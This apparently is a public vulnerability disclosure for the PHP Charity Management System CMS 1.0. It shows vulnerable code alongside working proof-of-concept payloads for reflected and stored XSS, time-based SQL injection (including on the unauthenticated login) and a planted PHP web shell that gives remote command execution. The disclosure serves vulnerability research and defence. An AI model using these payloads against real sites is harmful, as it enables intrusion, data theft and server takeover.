Charity Management System CMS 1.0 - Multiple Vulnerabilities

# Exploit Title: Charity Management System CMS 1.0 - Multiple Vulnerabilities
# Date: 18/08/2021
# Exploit Author: Davide 't0rt3ll1n0' Taraschi
# Vendor Homepage: https://www.sourcecodester.com/users/tips23
# Software Link: https://www.sourcecodester.com/php/14908/simple-charity-website-management-system-cms-php-free-source-code.htmlpolice-crime-record-management-system.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP


## Unauthenticated reflected XSS
# Vulnerable code in '/search.php' at line 44/45:
<?php if($count_all <= 0): ?>
    <h4 class="text-center">No Article with "<?php echo $_GET['search'] ?>" keyword found.</h4> 
The content of the 'search' variable is printed on the page without being checked, leading to XSS
# PoC
Go to 'http://site.com/charity/' and in the search box input "<svg onload=alert(document.domain)>" without the double quotes, and a text box should appear


## Authenticated stored XSS
There is a stored XSS in '/charity/admin/maintenance/manage_topic.php' due to a failure to sanitize user input
# Poc
1) Login as admin
2) Go to '/maintenance/manage_topic.php'
3) In "description" insert "<svg onload=alert(document.domain)>" without the double quotes
4) Click the "save" below
5) An alert box should appear


## POST Authenticated SQL Injection
# Vulnerable code in '/charity/classes/Master.php' at line 67
$del = $this->conn->query("DELETE FROM `topics` where id = '{$id}'");
The $id variable is used without being checked, leading to SQLi
# PoC
Request:
POST /charity/classes/Master.php?f=delete_topic HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/charity/admin/?page=maintenance/topics
Cookie: PHPSESSID=de17186191c1cbdeb6e815ea8c21103f
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- foo

Response after 5 seconds (the sleep has been executed)

HTTP/1.1 200 OK
Date: Wed, 18 Aug 2021 14:32:13 GMT
Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.4.22 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}


## GET Authenticated SQL Injection
# Vulnerable code in '/charity/admin/maintenance/manage_topic.php' at line 2/3
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `topics` where id = '{$_GET['id']}' ");
    ...
}
As usual the 'id' variable is passed to the prepared statement without being checked, leading to (another) SQLi
# PoC
Similar to the previous one (same payload)


## POST Unauthenticated SQL Injection
# Vulnerable code in '/charity/classes/Login.php' at line 21
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
The 'username' variable is passed without being sanificated, causing a SQLi
# PoC
Request:
POST /charity/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/charity/admin/login.php
Cookie: PHPSESSID=de17186191c1cbdeb6e815ea8c21103f
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=username' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- foo&password=password

Response after 5 seconds (the sleep has been executed)

HTTP/1.1 200 OK
Date: Wed, 18 Aug 2021 14:48:18 GMT
Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.4.22 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 164
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"incorrect","last_qry":"SELECT * from users where username = 'username' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- foo' and password = md5('password') "}


## PHP Code Injection lead to Authenticated Remote Code Execution (RCE)
# Vulnerable code in /charity/classes/SystemSettings.php at line 37
$qry = $this->conn->query("UPDATE system_info set meta_value = '{$value}' where meta_field = '{$key}' ");
The 'value' variable will be included in the homepage of the site without being checked, leading to RCE.
# PoC
1) Go to /charity/admin/system_info.php and in the "Welcome content" click on "Code View" at the top right.
2) At the bottom of the html code enter the following code: <?php if(isset($_GET['cmd'])) {system($_GET['cmd']);} ?>
3) Click the "update" button
4) Go to the home page and at the end of the url tipe "?cmd=$cmd" without the double quotes and replacing $cmd with the command you want to execute
5) The output should appear in the homepage